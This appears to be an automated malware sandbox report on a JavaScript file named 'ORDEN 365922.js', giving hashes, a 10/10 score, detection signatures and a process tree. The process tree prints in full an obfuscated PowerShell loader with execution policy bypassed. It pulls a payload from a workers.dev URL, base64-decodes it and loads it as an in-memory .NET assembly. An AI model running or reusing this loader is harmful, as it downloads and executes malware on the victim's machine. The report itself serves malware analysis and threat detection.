Overview

overview

10

Static

static

1

ORDEN 365922.js

windows10-2004-x64

10

ORDEN 365922.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 07:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ORDEN 365922.js
  • Size 1.1MB
  • Sample260820-jvxqracb45
  • SHA256 f0160935d1b014554bac85ba44d6e07790c38e1dfb5a82268c82373c33f12402
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://long-wildflower-b4f5.gustavosoftware.workers.dev/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\ORDEN 365922.js"
    1⤵
      PID:2748
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$jouster=''https://long-wildflower-b4f5.gustavosoftware.workers.dev/''; $paraelectric = [System.Net.HttpWebRequest]::Create($jouster); $paraelectric.UserAgent = ''Mozilla/5.0''; $dendrochemical = $paraelectric.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($dendrochemical); $cholelithic = $reader.ReadtoEnd(); $Scotland=''IN-''; $explate=''-in1''; $gadiniid=[string]::IndexOf($cholelithic, $Scotland); $girant=$cholelithic.LastIndexOf($explate); if($gadiniid -eq -1 -or $girant -eq -1){return}; $pillorize=$gadiniid+$Scotland.Length; $hypermorph=$cholelithic.Substring($cholelithic.IndexOf($Scotland)+$Scotland.Length, $girant-($cholelithic.IndexOf($Scotland)+$Scotland.Length)); $cabmen=$hypermorph.Replace(''*'',''A'').ToCharArray(); $ruberythrinic = -join $cabmen[($cabmen.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($ruberythrinic)); $sphaerulite=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $antimitotic=$sphaerulite.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $stenohaline=(''0LHXNMrqZm76j0OTCPPJxFDhLXv04BiegdiVgrHqxQVZGZaRHt08hgTXhX6KoYry1ozCngfRO71ViCQ9Pssm1o4R4UOtJoYL/8AqDB7mZ6k='','''',''qI0lqBNum9UwN9WZZsmHdS1529zP8hznuDuo6fNTRbQTSuKOtocPrt9XVFb5axEu'',''IwJr63sncJdlApNJXO18sTAyuB7embeYVo5vHQGrm+U='',''JXk1GTGYheLuCaLJWNRToDGwb2FB+MmgMi/wPTbqQZ0='','''',''V3/BHpXyQOUUFQa14vP8tKa9lO2yjlwH4BjgA8QJQOc='','''',''yU1KLjKCebCkpOUD5gmMohzsp7BC0dsPpdH8f8R2QNM='',''9uMsI4kAI6luP2Bg1nt+95qyemXg0Sh0K6UQ7dO6100TjnNFTpjvItFajLmN2RaY'',''Np+gmLJSayNyxskOORh1IJeMLgM3spTz2PVsh3fyrxE='',''UMvlFbAeX5uEo6tSdtxanlyQ9oUBJYEsyo+vfFXzEcw='',''ORFsgjcYw9L9VrAmZYGTYm+330HkUCeB94PZJTulEUY='','''',''NjY3iV4Y66tRLzUap52Up8sgiZhiJdCffpyWiiVFOcc='',''KNr2U1Y1yfpKLOmvAWPPWsL9W28pwHNk7u4Ymn3ujLU='','''','''',''''); try{$overploughed=($antimitotic.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($overploughed.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$stenohaline)}catch{}'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5836

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/5836-0-0x00007FFDEE76F000-0x00007FFDEE770000-memory.dmp
          Download

          memory/5836-1-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-4-0x0000020BF7DD0000-0x0000020BF7DF2000-memory.dmp
          Download

          memory/5836-5-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-6-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-7-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-8-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-9-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-10-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-11-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-12-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-13-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-15-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download

          memory/5836-16-0x00007FFDEE5E0000-0x00007FFDEEF84000-memory.dmp
          Download